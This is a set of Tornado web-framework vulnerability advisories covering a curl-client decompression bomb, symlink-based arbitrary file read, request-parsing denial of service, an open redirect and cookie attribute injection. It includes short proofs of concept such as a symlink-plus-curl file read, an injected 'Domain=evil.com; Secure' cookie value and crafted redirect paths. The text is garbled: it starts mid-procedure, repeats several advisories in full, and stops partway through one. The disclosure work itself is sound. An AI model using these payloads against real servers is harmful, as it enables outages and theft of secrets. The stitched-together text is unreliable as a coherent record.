python evil_server.py &     # 127.0.0.1:8081; prints BOMB_BUILT wire_bytes=... ratio=... EVIL_LISTENING
python victim_curl.py       # victim: CurlAsyncHTTPClient fetch -> expect linear RSS rise -> OOM
python victim_simple.py     # control: default SimpleAsyncHTTPClient on the same bomb

Verified environment: debian:bookworm-slim, Python 3.11.2, python3-pycurl 7.45.2 (libcurl 7.88.1, zlib 1.2.13), tornado master snapshot 6.6.dev1 of 2026-08-15 run from the source tree (sys.path), container memory capped at 1 GiB. curl_httpclient.py verified byte-equivalent (still zero size-limit references) in tag v6.5.8 and on master as of 2026-08-17.

Reproduction steps

1. Precondition — the documented curl-client deployment fetching a remote URL. The vulnerability requires the application to use CurlAsyncHTTPClient (the standard configuration when proxy support or advanced TLS options are needed) with default decompress_response=True, and to fetch a URL whose server the attacker controls or has compromised. victim_curl.py implements exactly that (AsyncHTTPClient.configure("tornado.curl_httpclient.CurlAsyncHTTPClient") → fetch()), and the server log confirms the ENCODING path engaged — the victim's request arrived with User-Agent: Mozilla/5.0 (compatible; pycurl) and Accept-Encoding: gzip,deflate.

2. Attack: start evil_server.py, wait for EVIL_LISTENING, then run victim_curl.py (the fetch itself is the attack; no further interaction).

3. Expected: victim_curl_rss.log shows VmRSS 30,884 → 1,032,100 kB over 3.18 s, rising ~350 MB/s with no plateau; the container kills the victim (exit 137, docker OOMKilled=true); the server logs CLIENT_DIED_MID_TRANSFER wire_sent=2818048/4174525 — the accumulation is bounded only by available memory, never by a client-side check, and the 4 GiB payload was never fully delivered.

4. Variant: with decompress_response=False and an unterminated chunked body (server keeps sending forever), the same buffer.write path accumulates unbounded plain bytes — no compression needed; request_timeout only extends the ceiling.

5. Control: victim_simple.py fetches the identical bomb with the default SimpleAsyncHTTPClient → clean FETCH_FAILED: HTTP 599: Connection closed, RSS peak ~65 MB (24,984 → 66,712 kB), script exit 0 — the CVE-2026-49855 accounting in http1connection.py aborts the transfer, proving the gap is specific to the curl client.

PoC source

Full PoC source (victim_curl.py, stdlib only, no dependencies): victim_curl.py (secret gist, unlisted).

The gist carries evil_server.py (bomb server), victim_curl.py (victim), victim_simple.py (control), and REPRODUCE.md.

Captured output (2026-08-15 run, verbatim excerpts)

evil_server.log:
BOMB_BUILT wire_bytes=4174525 decompressed_bytes=4294967296 ratio=1029:1
EVIL_LISTENING 127.0.0.1:8081
REQUEST_FROM 127.0.0.1:57544 -> GET /bomb HTTP/1.1
REQUEST_HEADERS:
GET /bomb HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (compatible; pycurl)
Accept: */*
Accept-Encoding: gzip,deflate
WIRE_SENT 65536/4174525
WIRE_SENT 2162688/4174525
CLIENT_DIED_MID_TRANSFER wire_sent=2818048/4174525 err=ConnectionResetError(104, 'Connection reset by peer')

victim_curl_rss.log (VmRSS kB, every 0.2 s):
0.00  30884
0.61  231848
1.41  514720
2.22  794480
2.82 1000756
3.18 1032100        <- last sample before kill

driver_f1.log:
timeout 240 python3 /e2e/F1/victim_curl.py ...  606 Killed
VICTIM_CURL_EXIT=137         # docker inspect -> OomKilled: true

victim_simple.log (control, same bomb):
FETCH_FAILED: HTTP 599: Connection closed
SCRIPT_FINISHED_NORMALLY     # exit 0, VmRSS peak 66712 kB

Honest framing of the endpoint: the OOM kill at ~1008 MB was forced by the test's 1 GiB cgroup cap as the observation instrument; the "unbounded" claim rests on the linear no-plateau RSS curve, death at 67% wire delivery, and the absence of any size accounting in the code path — with more memory the transfer would have continued to the full 4 GiB payload.

Impact

Denial of service (memory exhaustion) of any Tornado application that uses the curl HTTP client and fetches attacker-influenced URLs. A single ~4 MB response kills a 1 GiB process in ~3 s; wire cost scales as available_memory / 1000. Because the accumulation happens on the shared event loop's client, one malicious response takes down the entire application (all concurrently served users), and a slow endless-body variant drains memory gradually below detection thresholds. The attack requires no privileges, no user interaction, and only that the victim's configured client visits the attacker's origin.

Suggested fix

Enforce a byte budget in the write path of CurlAsyncHTTPClient: wrap the WRITEFUNCTION (both the buffer.write branch and the streaming_callback branch) in a counter that aborts the transfer (curl.setopt(pycurl.FAILONERROR)-style cancellation or raising from the callback) once the received total exceeds max_body_size, plumbed from initialize() with the same 100 MiB default as SimpleAsyncHTTPClient. Because libcurl decompresses before the write callback, the counter naturally measures decompressed bytes — the same semantics as the CVE-2026-49855 fix. (pycurl.MAXFILESIZE alone is insufficient: it applies to the compressed transfer size.)

Affected versions

• <= 6.5.8 (latest tag; the curl client has never had a response-size limit) and master (6.6.dev1, verified 2026-08-15/17).
• 6.5.6's CVE-2026-49855 fix covered SimpleAsyncHTTPClient/http1connection.py only; curl_httpclient.py was not touched.

Credit

Reported by the diff/ambidiff security research effort (afldl).

Summary

StaticFileHandler allows an unauthenticated attacker to read arbitrary files from the server's filesystem by requesting a path that resolves to a symbolic link placed inside the static root directory. Any application that serves user-uploadable content, or whose static directory is populated by a build/deploy pipeline that creates symlinks (e.g. npm link, webpack, Docker volume mounts, CDN sync tools), is affected. An attacker who can trigger the creation of a symlink pointing outside the static root—or exploit one that already exists—can retrieve sensitive files such as /etc/passwd, private keys, configuration files, or application secrets.

Details

The vulnerability is in tornado.web.StaticFileHandler, specifically in the interaction between two methods in tornado/web.py:

• get_absolute_path uses os.path.abspath() to resolve the requested path:
• validate_absolute_path uses the same os.path.abspath() on the root, then performs a string prefix check:

os.path.abspath() normalises . and .. segments but does not resolve symbolic links. As a result, a path like /var/www/static/link passes the startswith("/var/www/static/") check regardless of where link actually points.

Immediately after, os.path.exists() and os.path.isfile() do follow symlinks, so the file they ultimately open is the symlink's target. The fix would be to replace os.path.abspath() with os.path.realpath() in both methods, so the resolved real path of the symlink target is validated against the root, not just its string representation inside the static directory.

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability. Prerequisites: Python 3.x, Tornado installed.

1. Create the environment

mkdir -p /tmp/static
echo "DB_PASSWORD=s3cr3t" > /tmp/secret.conf   
ln -s /tmp/secret.conf /tmp/static/config.conf 

2. Minimal vulnerable server (server.py):

import tornado.web, tornado.ioloop

app = tornado.web.Application([
    (r"/static/(.*)", tornado.web.StaticFileHandler, {"path": "/tmp/static"}),
])
app.listen(8888)
tornado.ioloop.IOLoop.current().start()

3. Exploit: curl http://localhost:8888/static/config.conf

Impact

Any application using StaticFileHandler is potentially affected if:

• the static directory contains symlinks pointing outside it (common with build tooling), or
• the application allows file uploads into the static directory without stripping symlinks.

An unauthenticated remote attacker can read any file readable by the process user: application secrets, private TLS keys, database credentials, /etc/shadow, SSH keys, or source code (depending on the process's filesystem permissions).

Summary

When Tornado reads an HTTP/1.1 body that uses chunked transfer encoding, it processes all chunks that have already arrived without yielding to the event loop. A client can send a body made of millions of 1-byte chunks, which blocks the event loop (and therefore every other connection served by that process) for the entire time it takes to parse the body. A body near the default max_body_size of 100 MB can block the process for close to a minute, and the attacker can repeat or parallelize these requests.

Bodies made of tiny chunks also consumed far more memory than their size: a handler that does not use @stream_request_body stored each chunk as a separate object, using roughly 20 times as much memory as the bytes received.

Impact

All Tornado HTTP servers are affected when they receive a request body for a handler that reads it, which includes any handler that does not reject the request before the body is read. No authentication is required. Lowering max_body_size reduces the maximum blocking time and memory use for each request but does not remove the issue.

SimpleAsyncHTTPClient is affected in the same way when it reads a response from a malicious server.

Patches

Fixed in Tornado 6.6. Tornado now yields to the event loop periodically while reading any body, combines small chunks before passing them to data_received, and stores non-streaming bodies more compactly.

Applications using @stream_request_body should note that the pieces passed to data_received no longer correspond to HTTP chunk boundaries.

Workarounds

• Run Tornado behind a reverse proxy that buffers request bodies and forwards them with a Content-Length header instead of chunked encoding.
• Lower max_body_size (for the whole server or for individual handlers) to limit the impact of each request.

Credit

Reported by uttej-badwane.

Summary

tornado.web.RedirectHandler builds its target URL by substituting parts of the request path into a template. Depending on where those substitutions appear in the template, an attacker can craft a request that redirects to a host of their choosing. This creates an open redirect on the application's domain, which can be used in phishing.

Impact

Applications are affected if they use RedirectHandler with a URL template where a regex capture group can influence the scheme or host of the redirect. This includes:

• A substitution at the start of the path, for example (r"/(.*)/target", RedirectHandler, {"url": "/{0}/destination"}). A request to https://example.com//evil.com/target redirects to //evil.com/destination, a protocol-relative URL pointing to evil.com. Variants using backslashes or encoded characters have the same effect, because browsers treat them as equivalent to //.
• A substitution directly after the host, for example (r"/old(.*)", RedirectHandler, {"url": "https://new.example.com{0}"}). A request to /old.evil.com/ or /old@evil.com/ redirects to evil.com.
• A template that begins with a substitution (such as "{0}"), which can be given an absolute URL.

Applications are not affected if their RedirectHandler templates use only static URLs, or if every substitution comes after a fixed host and a / (for example "/static/{0}" or "https://example.com/{0}"). Other uses of RequestHandler.redirect() are not affected by this advisory, although applications that pass user-controlled input to redirect() should validate it themselves.

Patches

Fixed in Tornado 6.6. RedirectHandler now returns a 400 error if the substituted values would change the scheme or host of the redirect from what the template specifies. As a result, substitutions can no longer be used in the scheme or host part of a template. The similar check in StaticFileHandler has also been hardened against backslash and whitespace variants.

Workarounds

• Change RedirectHandler templates so every substitution comes after a fixed prefix ending in /, or write capture-group regexes that cannot match characters such as /, \, @, . or : where they could affect the host.
• Alternatively, replace RedirectHandler with a custom handler that validates the target before calling self.redirect().

Credit

Reported by Longwei Wang (@gn00295120).

Summary

Tornado's HTTP header parser takes quadratic time (O(n²)) when a header value is continued across many "obsolete line folding" (obs-fold) lines. An unauthenticated attacker can send a request whose header block is mostly short continuation lines. Parsing it uses a large amount of CPU on the IOLoop thread and blocks every other connection that process is serving.

This issue is closely related to CVE-2025-67725 (GHSA-c98p-7wgm-6p64). The fix for that advisory covered repeated headers but not line-folded continuations.

Impact

All Tornado HTTP servers are affected. Header parsing runs before any application code, so no authentication or particular handler is required.

How bad it gets depends on max_header_size:

• Default (64 KB): each malicious request blocks the event loop for tens of milliseconds. Repeated requests can degrade service.
• Raised max_header_size: the cost grows with the square of the header size. A single 1 MB request can block the process for several seconds.

Only availability is affected. Confidentiality and integrity are not.

Patches

Fixed in Tornado 6.6 by removing support for obsolete line folding completely; header lines that begin with whitespace are now rejected.

Workarounds

• Keep max_header_size at its default value or lower it. This limits the impact but doesn't remove it.
• Run Tornado behind a reverse proxy that rejects or normalizes obsolete line folding before forwarding requests.

Credit

Reported by @manus-pi.

Summary

HTTPServerRequest.__init__ in tornado/httputil.py parses the URL query string via parse_qs_bytes() with no field-count limit — while the sibling POST-body parsing path (parse_body_arguments) received a max_num_fields=1000 cap added earlier in this exact same release (v6.5.8, commit 8d6363ed), explicitly to bound parsing cost for the identical underlying primitive. This leaves the query-string path with the resource-exhaustion exposure the body-path fix was meant to close.

File: tornado/httputil.py, line 553 (HTTPServerRequest.__init__)

Root Cause

# tornado/httputil.py:553 (before fix)
self.arguments = parse_qs_bytes(self.query, keep_blank_values=True)

Compare with the POST-body path fixed one commit earlier in the same release:

# tornado/httputil.py:1038-1041
uri_arguments = parse_qs_bytes(
    body,
    keep_blank_values=True,
    max_num_fields=config.urlencoded.max_arguments,  # default 1000
)

Both call sites funnel through the same tornado.escape.parse_qs_bytes (a thin wrapper over urllib.parse.parse_qs), which is exactly why max_num_fields was added to urllib.parse.parse_qsl upstream — to let frameworks bound field count. The fix was applied only to the body path; the query-string path was missed.

The request line + headers together are capped at max_header_size (default 65536 bytes), so this is not literally unbounded, but a single ~64KB request line can carry thousands of short key=value pairs — far beyond the 1000-field limit the maintainer judged appropriate for the structurally identical body case.

Attack Scenario

1. Attacker sends a GET request whose query string is packed with thousands of short fields (e.g. k0=1&k1=1&...&k7799=1, ~61KB), fitting comfortably under max_header_size. No authentication, cookies, or prior state required.
2. Tornado accepts and parses this with no field-count cap, unlike the equivalent POST-body request (which is correctly rejected with 400 once >1000 fields are present).
3. Parsing thousands of fields is CPU work performed synchronously inside Tornado's single-threaded IOLoop. Several such requests in flight concurrently stall the event loop, delaying processing of all other connections on that loop — not just the attacker's own request.

Verification (dynamic, local reproduction against v6.5.8)

Ran the unmodified v6.5.8 source directly (no external dependencies needed) with a minimal tornado.web.Application on 127.0.0.1:8888.

• Identical 7800-field/~61KB payload sent as GET query string → 200 OK; sent as POST body (application/x-www-form-urlencoded) → 400 Bad Request (correctly rejected by the existing max_num_fields body-path limit). This confirms the asymmetry directly.
• Per-request parse cost: baseline (/?a=1) averaged 1.86ms; the 7800-field query string averaged 25.1ms (~13x).
• Event-loop-blocking amplification (raw-socket test, isolating server-side stall from client overhead): with 10 sequential baseline probe requests fired with no load, average latency was 1.47ms (max 5.9ms). With 5 concurrent 61KB/7800-field requests in flight, the same baseline probes averaged 13.0ms (max 118.1ms) — an 8.9x average slowdown for unrelated clients, produced by ~305KB of unauthenticated attacker traffic.

Impact

All Tornado servers/applications are affected — this triggers on every request with a query string, independent of application/handler logic. An unauthenticated, unprivileged remote attacker can measurably degrade response times for all other clients sharing the same IOLoop, using a small amount of bandwidth and no special conditions. This is an availability/DoS concern; no confidentiality or integrity impact.

Recommended Fix

# tornado/httputil.py — HTTPServerRequest.__init__
if uri is not None:
    self.path, sep, self.query = uri.partition("?")
try:
    self.arguments = parse_qs_bytes(
        self.query,
        keep_blank_values=True,
        max_num_fields=_DEFAULT_PARSE_BODY_CONFIG.urlencoded.max_arguments,
    )
except ValueError as e:
    raise HTTPInputError("Invalid query string: %s" % e) from e

This reuses the existing ParseUrlEncodedConfig.max_arguments default (1000) via the module's _DEFAULT_PARSE_BODY_CONFIG, matching the POST-body limit and honoring any global override via set_parse_body_config(). The try/except is necessary because — unlike parse_body_arguments, which already wraps its call and converts ValueError into a clean HTTPInputError/400 — the query-string call site currently has no such handling, so without it, a request exceeding the limit would raise an uncaught ValueError instead of a clean 400.

Verified: with the fix applied, requests with ≤1000 query-string fields are unaffected; requests with >1000 fields are rejected with 400 Bad Request (consistent with the POST-body behavior); Tornado's own httputil_test and web_test suites (256 tests) pass unchanged.

An unbounded memory accumulation (decompression bomb) in tornado.curl_httpclient.CurlAsyncHTTPClient — the client-side sibling gap of CVE-2026-49855 — verified end-to-end on the 2026-08-15 master snapshot (6.6.dev1) and present unchanged in the latest release tag v6.5.8 and on master (checked 2026-08-17). When a Tornado application configures the curl client (the documented deployment for proxy support / advanced TLS options) and fetch()es an attacker-chosen or attacker-compromised URL with default decompress_response=True, a malicious server replying Content-Encoding: gzip with a ~2.8 MB wire bomb drove the client's RSS from 30,884 kB to 1,032,100 kB (~1008 MB) in 3.18 s (~350 MB/s, monotonic, no plateau) until the kernel OOM-killed the process (exit 137, cgroup OOMKilled=true) — with the transfer only 67% complete and no client-side size check ever intervening: curl_httpclient.py contains zero occurrences of max_body_size/MAXFILESIZE. The identical bomb against the default SimpleAsyncHTTPClient fails cleanly at ~65 MB, because every size gate CVE-2026-49855 added (compressed CL, chunked total, cumulative decompressed size — http1connection.py:620,676,742) lives in code the curl client never executes. This is a distinct component from the published advisory (which fixed _GzipMessageDelegate/SimpleAsyncHTTPClient only) and from the other curl-client advisories (credential handle-reuse GHSA-pw6j-qg29-8w7f, header CRLF GHSA-w235-7p84-xx57); the file's full commit history (latest 2026-06-17) shows no response-size work.

Details

tornado/curl_httpclient.py (line numbers identical on master 6.6.dev1, v6.5.8, and the audited snapshot):

"buffer": BytesIO(),                                  # :202 — plain BytesIO, no accounting
...
else:
    write_function = buffer.write                     # :359 — every decompressed byte lands here
curl.setopt(pycurl.WRITEFUNCTION, write_function)     # :360
...
if request.decompress_response:                       # default True (HTTPRequest)
    curl.setopt(pycurl.ENCODING, "gzip,deflate")      # :373-374 — libcurl advertises + auto-decodes

libcurl decompresses the response before invoking WRITEFUNCTION, so the callback receives decompressed bytes, which are appended to an unbounded BytesIO until the transfer ends or the process dies. The only ceiling is request_timeout (default 20 s) — at zlib's hundreds of MB/s that still permits many GB of accumulation; the PoC raised it to 300 s and the 1 GiB cgroup cap was hit in 3.2 s regardless. There is no pycurl.MAXFILESIZE, no max_buffer_size/max_body_size plumbing (the constructor accepts no body-size option), and streaming_callback users fare no better (the callback variant at :353-356 also performs zero accounting).

Contrast — SimpleAsyncHTTPClient path (tornado/http1connection.py), all absent from the curl path:

if cast(int, content_length) > self._max_body_size:        # :620  Content-Length gate
if total_size > self._max_body_size:                       # :676  chunked total gate
if self._decompressed_body_size > self._max_body_size:     # :742  CVE-2026-49855 decompressed gate

SimpleAsyncHTTPClient.initialize() defaults max_buffer_size = 104857600 (100 MiB) with max_body_size defaulting to it (simple_httpclient.py:117-121); CurlAsyncHTTPClient.initialize() has no corresponding parameter at all.

Attack chain (attacker = malicious HTTP server; victim = any Tornado app doing fetch() on attacker-influenced URLs — URL fetchers, webhook processors, link previewers, RSS/probe pollers):

1. App configures AsyncHTTPClient.configure("tornado.curl_httpclient.CurlAsyncHTTPClient") (documented for proxy support; proxies are only supported with the curl client).
2. App calls fetch("http://attacker/...") with defaults → request advertises Accept-Encoding: gzip,deflate.
3. Attacker replies 200, Content-Encoding: gzip, Transfer-Encoding: chunked, body = a gzip stream of zeros (4,174,525 wire bytes expanding to 4 GiB, 1029:1, sent in 64 KB chunks).
4. libcurl auto-decodes at ~350 MB/s into buffer.write with no size accounting → process RSS climbs linearly until OOM. The response need not complete: the client died with 2,818,048/4,174,525 wire bytes delivered (67%).

Variant without compression: decompress_response=False plus an endless streaming body (no Content-Length, no final chunk) feeds the same unaccounted buffer.write — this client never enforces any cap on any path.

PoC

Verified end-to-end 2026-08-15 in a single container (cgroup --memory 1g --memory-swap 1g so the exhaustion endpoint is safe and fast to observe), two processes over a real TCP socket on 127.0.0.1:8081: a raw-socket malicious server (evil_server.py, builds the 4 GiB-of-zeros gzip bomb once, serves it with chunked framing) and the Tornado victim (victim_curl.py, configures CurlAsyncHTTPClient, fetch(..., request_timeout=300), samples /proc/self/status VmRSS every 0.2 s from a monitor thread so the curve survives the OOM kill).

Build & run the victim

git clone https://github.com/tornadoweb/tornado
cd tornado
pip install pycurl
python evil_server.py &     # 127.0.0.1:8081; prints BOMB_BUILT wire_bytes=... ratio=... EVIL_LISTENING
python victim_curl.py       # victim: CurlAsyncHTTPClient fetch -> expect linear RSS rise -> OOM
python victim_simple.py     # control: default SimpleAsyncHTTPClient on the same bomb

Verified environment: debian:bookworm-slim, Python 3.11.2, python3-pycurl 7.45.2 (libcurl 7.88.1, zlib 1.2.13), tornado master snapshot 6.6.dev1 of 2026-08-15 run from the source tree (sys.path), container memory capped at 1 GiB. curl_httpclient.py verified byte-equivalent (still zero size-limit references) in tag v6.5.8 and on master as of 2026-08-17.

Reproduction steps

1. Precondition — the documented curl-client deployment fetching a remote URL. The vulnerability requires the application to use CurlAsyncHTTPClient (the standard configuration when proxy support or advanced TLS options are needed) with default decompress_response=True, and to fetch a URL whose server the attacker controls or has compromised. victim_curl.py implements exactly that (AsyncHTTPClient.configure("tornado.curl_httpclient.CurlAsyncHTTPClient") → fetch()), and the server log confirms the ENCODING path engaged — the victim's request arrived with User-Agent: Mozilla/5.0 (compatible; pycurl) and Accept-Encoding: gzip,deflate.

2. Attack: start evil_server.py, wait for EVIL_LISTENING, then run victim_curl.py (the fetch itself is the attack; no further interaction).

3. Expected: victim_curl_rss.log shows VmRSS 30,884 → 1,032,100 kB over 3.18 s, rising ~350 MB/s with no plateau; the container kills the victim (exit 137, docker OOMKilled=true); the server logs CLIENT_DIED_MID_TRANSFER wire_sent=2818048/4174525 — the accumulation is bounded only by available memory, never by a client-side check, and the 4 GiB payload was never fully delivered.

4. Variant: with decompress_response=False and an unterminated chunked body (server keeps sending forever), the same buffer.write path accumulates unbounded plain bytes — no compression needed; request_timeout only extends the ceiling.

5. Control: victim_simple.py fetches the identical bomb with the default SimpleAsyncHTTPClient → clean FETCH_FAILED: HTTP 599: Connection closed, RSS peak ~65 MB (24,984 → 66,712 kB), script exit 0 — the CVE-2026-49855 accounting in http1connection.py aborts the transfer, proving the gap is specific to the curl client.

PoC source

Full PoC source (victim_curl.py, stdlib only, no dependencies): victim_curl.py (secret gist, unlisted).

The gist carries evil_server.py (bomb server), victim_curl.py (victim), victim_simple.py (control), and REPRODUCE.md.

Captured output (2026-08-15 run, verbatim excerpts)

evil_server.log:
BOMB_BUILT wire_bytes=4174525 decompressed_bytes=4294967296 ratio=1029:1
EVIL_LISTENING 127.0.0.1:8081
REQUEST_FROM 127.0.0.1:57544 -> GET /bomb HTTP/1.1
REQUEST_HEADERS:
GET /bomb HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (compatible; pycurl)
Accept: */*
Accept-Encoding: gzip,deflate
WIRE_SENT 65536/4174525
WIRE_SENT 2162688/4174525
CLIENT_DIED_MID_TRANSFER wire_sent=2818048/4174525 err=ConnectionResetError(104, 'Connection reset by peer')

victim_curl_rss.log (VmRSS kB, every 0.2 s):
0.00  30884
0.61  231848
1.41  514720
2.22  794480
2.82 1000756
3.18 1032100        <- last sample before kill

driver_f1.log:
timeout 240 python3 /e2e/F1/victim_curl.py ...  606 Killed
VICTIM_CURL_EXIT=137         # docker inspect -> OomKilled: true

victim_simple.log (control, same bomb):
FETCH_FAILED: HTTP 599: Connection closed
SCRIPT_FINISHED_NORMALLY     # exit 0, VmRSS peak 66712 kB

Honest framing of the endpoint: the OOM kill at ~1008 MB was forced by the test's 1 GiB cgroup cap as the observation instrument; the "unbounded" claim rests on the linear no-plateau RSS curve, death at 67% wire delivery, and the absence of any size accounting in the code path — with more memory the transfer would have continued to the full 4 GiB payload.

Impact

Denial of service (memory exhaustion) of any Tornado application that uses the curl HTTP client and fetches attacker-influenced URLs. A single ~4 MB response kills a 1 GiB process in ~3 s; wire cost scales as available_memory / 1000. Because the accumulation happens on the shared event loop's client, one malicious response takes down the entire application (all concurrently served users), and a slow endless-body variant drains memory gradually below detection thresholds. The attack requires no privileges, no user interaction, and only that the victim's configured client visits the attacker's origin.

Suggested fix

Enforce a byte budget in the write path of CurlAsyncHTTPClient: wrap the WRITEFUNCTION (both the buffer.write branch and the streaming_callback branch) in a counter that aborts the transfer (curl.setopt(pycurl.FAILONERROR)-style cancellation or raising from the callback) once the received total exceeds max_body_size, plumbed from initialize() with the same 100 MiB default as SimpleAsyncHTTPClient. Because libcurl decompresses before the write callback, the counter naturally measures decompressed bytes — the same semantics as the CVE-2026-49855 fix. (pycurl.MAXFILESIZE alone is insufficient: it applies to the compressed transfer size.)

Affected versions

• <= 6.5.8 (latest tag; the curl client has never had a response-size limit) and master (6.6.dev1, verified 2026-08-15/17).
• 6.5.6's CVE-2026-49855 fix covered SimpleAsyncHTTPClient/http1connection.py only; curl_httpclient.py was not touched.

Credit

Reported by the diff/ambidiff security research effort (afldl).

Summary

StaticFileHandler allows an unauthenticated attacker to read arbitrary files from the server's filesystem by requesting a path that resolves to a symbolic link placed inside the static root directory. Any application that serves user-uploadable content, or whose static directory is populated by a build/deploy pipeline that creates symlinks (e.g. npm link, webpack, Docker volume mounts, CDN sync tools), is affected. An attacker who can trigger the creation of a symlink pointing outside the static root—or exploit one that already exists—can retrieve sensitive files such as /etc/passwd, private keys, configuration files, or application secrets.

Details

The vulnerability is in tornado.web.StaticFileHandler, specifically in the interaction between two methods in tornado/web.py:

• get_absolute_path uses os.path.abspath() to resolve the requested path:
• validate_absolute_path uses the same os.path.abspath() on the root, then performs a string prefix check:

os.path.abspath() normalises . and .. segments but does not resolve symbolic links. As a result, a path like /var/www/static/link passes the startswith("/var/www/static/") check regardless of where link actually points.

Immediately after, os.path.exists() and os.path.isfile() do follow symlinks, so the file they ultimately open is the symlink's target. The fix would be to replace os.path.abspath() with os.path.realpath() in both methods, so the resolved real path of the symlink target is validated against the root, not just its string representation inside the static directory.

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability. Prerequisites: Python 3.x, Tornado installed.

1. Create the environment

mkdir -p /tmp/static
echo "DB_PASSWORD=s3cr3t" > /tmp/secret.conf   
ln -s /tmp/secret.conf /tmp/static/config.conf 

2. Minimal vulnerable server (server.py):

import tornado.web, tornado.ioloop

app = tornado.web.Application([
    (r"/static/(.*)", tornado.web.StaticFileHandler, {"path": "/tmp/static"}),
])
app.listen(8888)
tornado.ioloop.IOLoop.current().start()

3. Exploit: curl http://localhost:8888/static/config.conf

Impact

Any application using StaticFileHandler is potentially affected if:

• the static directory contains symlinks pointing outside it (common with build tooling), or
• the application allows file uploads into the static directory without stripping symlinks.

An unauthenticated remote attacker can read any file readable by the process user: application secrets, private TLS keys, database credentials, /etc/shadow, SSH keys, or source code (depending on the process's filesystem permissions).

Summary

Tornado parses application/x-www-form-urlencoded bodies with urllib.parse.parse_qs and does not pass max_num_fields. A body made almost entirely of separators produces tens of millions of fields, and the parse happens on the event loop before the handler runs, so a single request stalls the whole server.

Where it is

tornado/escape.py, at HEAD e530031405e2154654dedc4c84d5656b557ea310:

result = urllib.parse.parse_qs(
    qs, keep_blank_values, strict_parsing, encoding="latin1", errors="strict"
)

max_num_fields is the parameter CPython added for exactly this, and it is absent.

The path to it is entirely server-side and pre-dispatch. RequestHandler._execute parses the body at tornado/web.py:1821, which reaches HTTPServerRequest._parse_body at tornado/httputil.py:636, and the urlencoded branch of parse_body_arguments calls parse_qs_bytes at tornado/httputil.py:1030.

The size that reaches it is bounded only by the body cap, which defaults to the stream's max_buffer_size of 104857600 at tornado/iostream.py:239, applied as the request body default at tornado/http1connection.py:136-140. A 100 MB body of separators is around fifty million fields.

Impact

Denial of service against the whole process, not one request. Tornado is single-threaded and the parse is synchronous on the event loop, so every other connection waits. No authentication is needed if any route accepts a form post, which is the normal case.

Suggested fix

Pass a bound:

result = urllib.parse.parse_qs(
    qs, keep_blank_values, strict_parsing, encoding="latin1", errors="strict",
    max_num_fields=max_num_fields,
)

with a conservative default and a way for applications to raise it. CPython raises ValueError when the limit is exceeded, which maps cleanly onto a 400.

Lowering the default body cap for urlencoded specifically would help too, since 100 MB of form fields is not a shape any real client sends.

Why I do not think this is a duplicate

The published tornado advisories cover out-of-bounds access in the C extension, unbounded accumulation of decompressed chunks in AsyncHTTPClient, the Authorization header surviving cross-origin redirects, credential leakage on curl handle reuse, and cookie attribute validation. The decompression one is the nearest in spirit and is on the client side; this is the server parsing a request body. The call is unchanged at HEAD.

Description

Summary

parse_multipart_form_data (httputil.py:34) calls data.split(b"--"+boundary+b"\r\n") before the max_parts check (:35). A 600KB body with 100k parts creates a 100k-element transient list first, then rejects transient memory amplification (each split element is a copy). Pre-auth HTTP DoS.

Root cause

parts = data[:final_boundary_index].split(b"--" + boundary + b"\r\n")  # :34  huge list first
if len(parts) > config.max_parts:                                       # :35  check after
    raise HTTPInputError("multipart/form-data has too many parts")

PoC

gist: https://gist.github.com/afldl/649861f25d39b53b7edbe0298e171617 poc.py + output.txt (100k parts from 600KB transient list).

Fix

Count separators without materializing the list (e.g. data.count(b"--"+boundary) first).

Credit

Reported by afldl, 2026-07.

Summary

The CVE-2026-35536 fix added a validation loop that rejects [\x00-\x20\x3b\x7f], but only for the hardcoded lowercase keys name/domain/path/samesite. The still-live deprecated **kwargs path writes attacker-supplied attribute values straight into the Morsel with no validation, and because Morsel.__setitem__ is case-insensitive, a capitalized kwarg (Domain=, Path=, SameSite=, Max-Age=) routes to the same reserved attribute while bypassing the loop — re-opening ;-delimited attribute injection.

self.set_cookie("sid", "abc", Domain="evil.com; Secure; SameSite=None")
#  -> Set-Cookie: sid=abc; Domain=evil.com; Secure; SameSite=None; Path=/
# Sanity (the canonical lowercase named arg IS blocked):
self.set_cookie("sid", "abc", domain="evil.com; Secure")   # -> http.cookies.CookieError

The patch's regression test (SetCookieForbiddenCharHandler) only exercises the four named params, never the **kwargs path, so the gap is not regression-covered.

Affected code

• tornado/web.py → RequestHandler.set_cookie: the validation loop covers only the lowercase named args; the trailing if kwargs: loop does morsel[k] = v with no character validation.

Steps to reproduce

GET /upper (uses Domain= kwarg) emits Set-Cookie: c_upper=v; Domain=evil.com; Secure; SameSite=None; Path=/; GET /lower (uses lowercase domain=) returns a CookieError.

Impact

Injection of independent cookie attributes (force/drop Secure/HttpOnly/SameSite, rebind Domain/Path) — the same impact CVE-2026-35536 closed, via the sibling path the patch missed. Conditional on the app using a capitalized/legacy keyword.

Suggested remediation

Apply the same [\x00-\x20\x3b\x7f] validation to every entry in the **kwargs loop (after normalizing the key case), or remove the deprecated kwargs path; add a regression test for capitalized kwargs.

Credit

Reported as part of an incomplete-patch measurement study (responsible disclosure).

Summary

When Tornado reads an HTTP/1.1 body that uses chunked transfer encoding, it processes all chunks that have already arrived without yielding to the event loop. A client can send a body made of millions of 1-byte chunks, which blocks the event loop (and therefore every other connection served by that process) for the entire time it takes to parse the body. A body near the default max_body_size of 100 MB can block the process for close to a minute, and the attacker can repeat or parallelize these requests.

Bodies made of tiny chunks also consumed far more memory than their size: a handler that does not use @stream_request_body stored each chunk as a separate object, using roughly 20 times as much memory as the bytes received.

Impact

All Tornado HTTP servers are affected when they receive a request body for a handler that reads it, which includes any handler that does not reject the request before the body is read. No authentication is required. Lowering max_body_size reduces the maximum blocking time and memory use for each request but does not remove the issue.

SimpleAsyncHTTPClient is affected in the same way when it reads a response from a malicious server.

Patches

Fixed in Tornado 6.6. Tornado now yields to the event loop periodically while reading any body, combines small chunks before passing them to data_received, and stores non-streaming bodies more compactly.

Applications using @stream_request_body should note that the pieces passed to data_received no longer correspond to HTTP chunk boundaries.

Workarounds

• Run Tornado behind a reverse proxy that buffers request bodies and forwards them with a Content-Length header instead of chunked encoding.
• Lower max_body_size (for the whole server or for individual handlers) to limit the impact of each request.

Credit

Reported by uttej-badwane.

Summary

tornado.web.RedirectHandler builds its target URL by substituting parts of the request path into a template. Depending on where those substitutions appear in the template, an attacker can craft a request that redirects to a host of their choosing. This creates an open redirect on the application's domain, which can be used in phishing.

Impact

Applications are affected if they use RedirectHandler with a URL template where a regex capture group can influence the scheme or host of the redirect. This includes:

